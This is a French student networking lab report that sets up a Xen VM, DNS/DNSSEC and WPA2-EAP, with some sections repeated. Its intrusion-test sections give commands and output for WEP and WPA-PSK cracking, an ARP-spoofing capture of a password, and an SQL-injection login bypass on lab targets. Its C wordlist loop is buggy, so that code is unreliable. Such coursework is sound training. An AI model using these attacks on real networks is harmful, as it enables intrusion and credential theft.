dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Interface eth0]]
 

== Réalisation ==

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-11-17T12:56:00Z

Lchenu : /* Intrusion sur un serveur d’application Web */

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande df
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171
www IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
